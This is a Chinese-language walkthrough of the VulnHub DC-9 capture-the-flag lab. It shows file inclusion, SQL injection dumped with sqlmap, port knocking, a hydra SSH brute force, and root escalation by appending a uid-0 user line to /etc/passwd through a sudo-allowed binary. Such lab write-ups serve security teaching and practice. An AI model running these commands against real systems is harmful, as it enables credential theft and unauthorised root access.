vulnhub-dc9打靶

环境

vulnhub项目 https://www.vulnhub.com/entry/dc-9,412/
靶机:172.16.17.150
攻击机kali:172.16.17.140

描述

信息收集

nmap扫描靶机,存在22端口,但是状态为filtered,怀疑被knockd保护

扫目录

web指纹

挨个访问扫出来的目录,在访问session.php的时候发现已经登录,在下面提示文件不存在,可能存在文件包含漏洞

猜一下接受参数的变量名,成功读取

上面怀疑ssh被保护,现在用文件包含读取一下

Exploit

sql注入

文件包含没有能继续利用的电,查看其他功能点,发现一处搜索框,post传输数据,有搜索就有数据库交互,抓包fuzz
当语句为’or 1=1 #时,产生注入,丢到sqlmap跑

跑出账号密码

1
sqlmap -r 1.txt -batch -D users -T 'UserDetails' -C 'password,username' --dump

knock碰撞ssh

安装knockd

根据刚刚读到的端口,去敲门,逆序端口号,发现ssh已经对我们开放

撞库

利用跑出来的账号密码,拿去撞ssh,跑出三个账号

1
hydra -L user.txt -P passwords.txt 172.16.17.150 ssh

相继进入几个账号,翻翻翻*10,最后在janitor找到一个密码文件

复制进passwd文件继续爆破,爆出一个新的账号

提权

登录看看以root权限运行的文件

find查找路径

1
find / -name test.py -print 2>/dev/null

分析第一个test.py文件,读取第一个文件的内容,添加到第二个文件的末尾

生成一个密码hash,账号为domon 密码 123456

1
openssl passwd -1 -salt demon 123456

将生成的密码hash写入一个文件

1
echo 'demon:$1$demon$Mspg7FhbFwGLZ4T2s/qI6/:0:0:root:/bin/bash' >> /tmp/demon

再利用test命令写入/etc/passwd

1
sudo /opt/devstuff/dist/test/test ./demon /etc/passwd

登录demon,拿到flag